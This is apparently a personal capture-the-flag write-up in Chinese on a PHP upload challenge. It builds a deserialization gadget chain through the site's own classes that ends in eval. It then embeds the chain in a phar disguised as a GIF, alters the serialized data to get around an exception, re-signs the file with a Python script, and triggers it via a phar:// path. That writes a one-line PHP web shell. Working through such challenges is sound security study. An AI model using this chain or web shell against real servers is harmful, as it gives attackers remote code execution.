【wp】文件上传phar反序列化

题目

文件泄露,得到两个文件:
index.php

<!DOCTYPE html>
<html>
<head>
    <title>Just Upload!</title>
    <meta charset="UTF-8">
    <style>
        .container {
            display: flex;
            flex-direction: row;
            text-align: center;
            height: 100vh;
        }
        .left {
            flex: 1;
            background-color: #f2f2f2;
            padding: 20px;
        }
        .right {
            flex: 1;
            background-color: #e6e6e6;
            padding: 20px;
        }
    </style>
</head>
<body>
<div class="container">
    <div class="left">
        <h1>文件探测</h1>
        <hr><br>
        <form action="index.php" method="get">
            <label for="name">Filename:</label>
            <input type="text" name="filename"><br><br>
            <input type="submit" value="查询文件">
        </form><br>
        <?php
        error_reporting(1);
        include("classes.php");
        if(isset($_GET['filename']))
        {
            file_exists($_GET['filename']);
            throw new Exception("Unfinished Function!");
        }
        ?>
    </div>
    <div class="right">
        <h1>文件上传</h1>
        <hr><br>
        <form action="index.php" method="post" enctype="multipart/form-data">
            <input type="file" name="file"><br><br>
            <input type="submit" value="上传文件">
        </form><br>
        <?php
            $allowedExts = array("jpg", "png", "gif");
            if(isset($_FILES["file"])){
                $temp = explode(".", $_FILES["file"]["name"]);
                $extension = end($temp);
                if (($_FILES["file"]["size"] < 20000) && in_array($extension, $allowedExts)) {
                    if ($_FILES["file"]["error"] > 0) {
                        echo "Error:" . $_FILES["file"]["error"] . "<br>";
                    } else {
                        if (file_exists("tmp/" . $_FILES["file"]["name"])) {
                            echo $_FILES["file"]["name"] . " already exists. ";
                        } else {
                            $filename = "tmp/" . md5(random_int(100000,999999).$_FILES["file"]["name"]).".".$extension;
                            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
                            echo "文件已上传至:" . $filename;
                        }
                    }
                } else {
                    echo "非法文件!";
                }
            }
        ?>
    </div>
</div>
</body>
</html>

以及classes.php

<?php
class Base{
    public $dataReader;
    private $each;
    private $value;
    private $key;
    private $query;
    public $batch;

    public function rewind()
    {
        $this->reset();
        $this->next();
    }

    public function next()
    {
        if ($this->batch === null || !$this->each || $this->each && next($this->batch) === false) {
            $this->batch = $this->fetchData();
            reset($this->batch);
        }

        if ($this->each) {
            $this->value = current($this->batch);
            if ($this->query->indexBy !== null) {
                $this->key = key($this->batch);
            } elseif (key($this->batch) !== null) {
                $this->key = $this->key === null ? 0 : $this->key + 1;
            } else {
                $this->key = null;
            }
        } else {
            $this->value = $this->batch;
            $this->key = $this->key === null ? 0 : $this->key + 1;
        }
    }

    public function reset()
    {
        if($this->dataReader !== null) {
            $this->dataReader->close();
        }
    }

    public function __destruct()
    {
        $this->reset();
    }
}

class Stream{
    public $closes;
    private $getMetadata;
    private $getContents;
    private $read;
    private $isReadable;

    public function isReadable()
    {
        return call_user_func($this->isReadable);
    }

    public function read($length)
    {
        return call_user_func($this->read, $length);
    }

    public function getContents()
    {
        return call_user_func($this->getContents);
    }

    public function getMetadata($key = null)
    {
        return call_user_func($this->getMetadata, $key);
    }
    public function close()
    {
        return call_user_func($this->closes);
    }
}

class Mock{
    public $mockName;
    public $classCode;
    public function generate(){
        if(!class_exists($this->mockName, false)){
            eval($this->classCode);
        }
        return $this->mockName;
    }

    public function getClassCode()
    {
        return $this->classCode;
    }
}

我们的目标是通过文件上传入口,得到靶机的控制权限

思路

0x01 构建rop链

我们可以知道,file_exists、file_get_content等函数,可以通过phar伪协议进行反序列化的。因此,我们要做的是要先构建rop链。

在classes.php中,Mock函数中有generate函数,可以执行eval,因此,该方法为ROP链的终点;ROP链的起点则是Base类的__destruct方法,在对象销毁的时候执行。因此思路可以是这样:
Base->__destruct/Steam->close/Mock->generate。

$a = new Mock();
$a->classCode = 'file_put_contents("shell.php", "<?php @eval(\$_POST[123]);");';
//$a->classCode = 'system("touch test.txt");';
$a->mockName = "generate";

$func = array($a, "generate");
$steam = new Stream();
$steam->closes = $func;
$steam->close();


$base= new Base();
$base->dataReader=$steam;


$payload = serialize($base);
echo $payload.PHP_EOL;
unserialize($payload);

执行后,可以在本地生成shell.php,证明ROP链可以生效。
payload为:

O:4:"Base":6:{s:10:"dataReader";O:6:"Stream":5:{s:6:"closes";a:2:{i:0;O:4:"Mock":2:{s:8:"mockName";s:8:"generate";s:9:"classCode";s:61:"file_put_contents("shell.php", "<?php @eval(\$_POST[123]);");";}i:1;s:8:"generate";}s:19:"�Stream�getMetadata";N;s:19:"�Stream�getContents";N;s:12:"�Stream�read";N;s:18:"�Stream�isReadable";N;}s:10:"�Base�each";N;s:11:"�Base�value";N;s:9:"�Base�key";N;s:11:"�Base�query";N;s:5:"batch";N;}

0x02 构建phar文件

代码如下:

$phar = new Phar('tttt.phar');
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
$phar->addFromString('test.txt', 'test');  //添加要压缩的文件
$phar->setMetadata($base);  //将自定义meta-data存入manifest
$phar->stopBuffering();

这里将生成的tttt.phar修改为tttt.gif后上传,并不能执行。因为file_exist下一行的Exception,打断了程序的执行,并不能执行析构函数。要想办法解决。

应该叫什么

使用010editor,将tttt.phar文件中,反序列化子串的最后一个}删除后,进行重新签名。也就是最终的payload为:

O:4:"Base":6:{s:10:"dataReader";O:6:"Stream":5:{s:6:"closes";a:2:{i:0;O:4:"Mock":2:{s:8:"mockName";s:8:"generate";s:9:"classCode";s:61:"file_put_contents("shell.php", "<?php @eval(\$_POST[123]);");";}i:1;s:8:"generate";}s:19:"StreamgetMetadata";N;s:19:"StreamgetContents";N;s:12:"Streamread";N;s:18:"StreamisReadable";N;}s:10:"Baseeach";N;s:11:"Basevalue";N;s:9:"Basekey";N;s:11:"Basequery";N;s:5:"batch";N;

这里也可以改为:

O:4:"Base":8:{s:10:"dataReader";O:6:"Stream":5:{s:6:"closes";a:2:{i:0;O:4:"Mock":2:{s:8:"mockName";s:8:"generate";s:9:"classCode";s:61:"file_put_contents("shell.php", "<?php @eval(\$_POST[123]);");";}i:1;s:8:"generate";}s:19:"StreamgetMetadata";N;s:19:"StreamgetContents";N;s:12:"Streamread";N;s:18:"StreamisReadable";N;}s:10:"Baseeach";N;s:11:"Basevalue";N;s:9:"Basekey";N;s:11:"Basequery";N;s:5:"batch";N;}

使用下面代码进行phar重新签名:

from hashlib import sha1

file = open('tttt.phar', 'rb').read()  # 需要重新生成签名的phar文件
data = file[:-28]  # 获取需要签名的数据
final = file[-8:]  # 获取最后8位GBMB标识和签名类型
newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB
open('newa.phar', 'wb').write(newfile)  # 写入到新的phar文件

然后在重新修改后缀为tttt.gif。
最终的payload为:

?filename=phar://./tmp/*****.gif/test.txt

可以在index.php同级目录下生成shell.php
至此,结束。

没有详细解释。权当自己记录哈。

posted @ 2023-09-17 21:23  新崔斯特姆的营地  阅读(61)  评论(0编辑  收藏  举报